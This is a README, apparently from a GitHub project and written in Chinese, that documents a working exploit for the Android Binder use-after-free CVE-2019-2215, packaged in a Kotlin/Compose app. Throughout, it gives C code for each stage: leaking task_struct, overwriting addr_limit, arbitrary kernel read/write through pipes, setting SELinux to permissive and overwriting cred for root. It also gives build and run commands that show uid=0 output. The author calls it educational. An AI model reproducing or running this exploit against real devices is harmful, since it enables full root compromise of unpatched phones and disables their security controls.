此仓库是研究 CVE-2019-2215 (Bad Binder) 漏洞并编写适用于 Android 的工作原型 exploit 的小型测试项目,附带一个基于 Kotlin/Jetpack Compose 的简单图形界面。
本 README 中我将:
仓库中配置了 GitHub Actions workflow,每次 push/PR 时使用 ./gradlew assembleDebug 构建项目,并将构建好的 badbinder-debug.apk 发布为制品。
下载方式:
badbinder-debug-apk 压缩包。这样做是为了方便,如果只是想测试应用而无需搭建本地环境。
CVE-2019-2215 是 Android 内核 Binder IPC 子系统中的一个 Use-After-Free (UAF) 漏洞。
简化来说:
struct binder_thread,描述执行 Binder 调用的线程;waitqueue) 中;remove_wait_queue 中进行操作,从而触发经典的 UAF 场景;更详细的理论分析基于以下资料:
根据任务要求,建议使用 Android 10.0 (Q) x86_64 的 AVD 镜像。
我执行了以下步骤:
/dev/binder 设备。adb shell
ls -l /dev/binder
在此阶段我遇到了一个令人不快的事实:
目前 最新的 AVD 镜像已附带修补过的内核,其中已修复 CVE-2019-2215。也就是说,在现在的官方模拟器上无法真正获取 root — exploit 会在后续阶段崩溃,或根本无法提权。
因此,我将 AVD 用作 复现 exploit 逻辑的训练环境:
addr_limit 的尝试,这是一个重要的细节:以下所有代码和报告均为 教学性质,而非“实战”性质。
我制作了一个小型 Android 应用:
主要步骤:
在 Android Studio 中创建普通项目(Kotlin,最低支持 Android 10)。
集成 NDK 和 CMake。
添加原生 exploit 文件(即包含 leak_task_struct、overwrite_addr_limit 等函数的 cve-2019-2215.c)。
在 CMakeLists.txt 中添加构建 libcve-2019-2215.so 的规则。
在 MainActivity 中:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
在 Kotlin 侧创建 ExploitViewModel,它实现 NativeLogger 接口,并将所有消息存入 StateFlow<List<String>>。UI 订阅此流并在“终端”中显示日志。
在 Activity 启动时,我调用 setNativeLogger(viewModel),以便原生代码获取一个可以向其发送字符串的对象。
构建并安装应用:
./gradlew installDebug
启动 AVD 和该应用。
屏幕上显示一个“终端”和 RUN EXPLOIT 按钮。
点击按钮后:
runNativeExploit()。在真实存在漏洞的内核上,我期望最终看到类似如下输出:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
而在当前 Android 10 模拟器上,这当然不会发生,但其余部分 — task_struct 泄漏、改写 addr_limit 的尝试、计算 cred 和 kernel_base — 都作为“场景”得以执行,这符合任务要求。
下面是用 C 函数对应的 exploit 逻辑示意图。
高级计划如下:
struct binder_thread 对象上创建 UAF,并利用它泄漏自身进程的 task_struct 地址 (leak_task_struct)。task_struct 中的 addr_limit 字段 (overwrite_addr_limit) — 这消除了用户空间和内核空间地址之间的限制,以便后续的 copy_to_user / copy_from_user。arb_read / arb_write)。cred 和内核基址 (verifying),然后:
selinux_enforcing = 0),同时,我集成了 JNI 日志记录器,以便在 UI 中直接看到所有这些阶段。
task_struct 地址 (leak_task_struct)关键函数:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
函数作用:
将线程固定在 CPU 0 上 (sched_setaffinity),使内核分配器的行为更可预测。这提高了 UAF 利用的稳定性。
打开 /dev/binder,创建 epoll 描述符:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
将 Binder 描述符注册到 epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
准备 struct iovec iov_buffers[IOVEC_N] 数组并分配内存:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
这里重要的是地址的低 32 位为零:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
这与漏洞利用文章中的技术相符:后续内核会将我们的部分数据解释为包含指针的结构体,而这种“漂亮对齐”的地址简化了滥用。
然后填充 iov_buffers[0xa] 和 iov_buffers[0xb] 字段,使得在 UAF 发生时,内核将包含 task_struct 指针的内存块复制到管道中。
结果:我得到了内核中 task_struct 的地址,这对后续步骤至关重要。
addr_limit (overwrite_addr_limit)task_struct 中的 addr_limit 决定了进程在系统调用中可以传递哪些地址作为用户空间指针。如果将其改写为接近最大值,内核将无法区分用户空间地址和其自身地址空间中的地址 — 许多看似安全的 copy_(to|from)_user 操作将变成任意内核读/写。
函数:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
遵循非常相似的模式:
再次固定 CPU 亲和性,打开 /dev/binder,创建 epoll。
准备 iov_buffers,但这次方案不同:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
使用 socketpair(AF_UNIX, SOCK_STREAM, ...) 代替管道:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
为 recvmsg 准备 msghdr 结构:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
在子进程中(fork() 后)再次启动 UAF 竞争:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)改写 addr_limit 后,我使用管道将普通读/写操作转化为读取和写入内核地址的能力。
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
类似地,arb_write 改变复制方向。
函数 verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
这里我:
task_struct 的内容;PID_OFFSET 确认这确实是自己的结构;cred 的指针和内核地址泄漏 (kernel_leak);kernel_base。runNativeExploit 中的最后部分:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing 的地址,并将其设置为零/“允许”状态。接下来是改写 cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
我直接将能力字段和 cred 中一些其他字段填充为最大值,以便为进程授予完整权限。
最后检查:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
在真实存在漏洞的内核上,我会期望 uid=0,而在修补过的镜像上,提权自然被禁用。
为了实时看到所有内容,我添加了中间层:
JNI_OnLoad 保存 JavaVM* 和主进程 PID;setNativeLogger 接收实现 onLog(String) 方法的 Kotlin 对象,并将其保存为 GlobalRef;android_log/android_log_hex 写入 logcat 并调用 send_to_ui,后者将字符串传递给 Kotlin,由 ExploitViewModel 获取并显示在 Compose“终端”中。重要:send_to_ui 根据 PID 过滤子进程 — 在 fork() 后调用 JNI 而不执行 exec() 是不安全的。
我遇到的问题是当前没有适用于 Android 10 且内核未经修补的官方 AVD 镜像,其中仍存在 CVE-2019-2215。
除了“实战”获取 root,我将重点放在:
如果需要,可以将此代码移植到具有旧版未修补内核的真实设备上,但这已超出任务范围。
我不得不显式指定:
ADDR_LIMIT_OFFSET、PID_OFFSET、CRED_OFFSET;kernel_leak 和 selinux_enforcing 的偏移;kernel_base 的常量。我特意没有自动化这些值的搜索,以免扩大项目规模。报告中,我假设这是一个针对特定内核版本的教学示例,而非通用 exploit。
使用 fork()、epoll_ctl、BINDER_THREAD_EXIT 以及不同的时序是一块雷区。我遇到的情况是,如果没有:
sched_setaffinity,sleep,assert,exploit 会变得极其不稳定。
我逐步调试了序列,使其在存在漏洞的配置上可预测,而在修补过的配置上,在最后几步能够正确“失败”。
fork()我还遇到了一个问题:直接从子进程通过 JVM 记录日志会导致奇怪的行为。
我不得不回顾 JNI 规则,并添加 PID 检查,以便仅从主进程与 JVM 通信。
折衷方案:部分消息仅在 logcat 中可见,而在 UI 中只显示来自父进程的消息。这对我来说可以接受,因为任务中重要的是主要的检查点,而不是每一条调试输出。
作为任务更具创意的一部分,我决定制作一个便于分析的界面:
[+]、[*]、[!]、[C]) 用不同颜色高亮,便于阅读;Success / Failed) 单独显示在一个块中。这大大简化了对原生代码工作的感知:不再是枯燥的 logcat,而是在应用中直接在一个地方看到所有内容。
通过此任务,我:
task_struct 泄漏,addr_limit,cred、关闭 SELinux 及尝试提权。项目虽小,但本质上反映了真实内核漏洞的完整生命周期:从理论描述和阅读文章,到实际实现并集成到活生生的 Android 应用中。
在 cve-2019-2215 目录下有一个 Makefile,可以构建原生二进制文件 (x86_64) 并通过 ADB 直接在 AVD 中运行。如果需要 aarch64 版本,可以单独构建。
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
cred 字段,成为 root 并获得完整能力集 (runNativeExploit)。创建管道并将其缓冲区大小设为 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
接下来是 经典的 UAF 竞争。我启动一个子进程:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) 导致内核中关联的 binder_thread 被释放,但它仍然出现在等待队列结构中 — 这就是 UAF 点。在父进程中,我调用:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // 释放 binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
在此阶段,由于 UAF,writev 使用了已释放的内存作为 iovec 结构,实际上重新解释了之前存放 binder_thread 的同一内存区域,但现在将其视为指针/长度集合。副作用之一是将内核内存片段复制到我们的管道中。
最后,我从管道中读取:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
偏移 0xe8 是针对特定内核版本调整的 — 在泄漏的内存块中,该位置包含指向我的进程 task_struct 的指针。
父进程照例释放 binder_thread 并调用 recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
由于 UAF 和巧妙的结构替换,内核最终将 task_struct + ADDR_LIMIT_OFFSET 视为用户缓冲区地址,并将发送的结构体内容复制到该地址(我们的值 0xfffffffffffffffe),从而改写 task_struct 中的 addr_limit。
在日志中写入:
android_log("[!] addr_limit overwrite done.");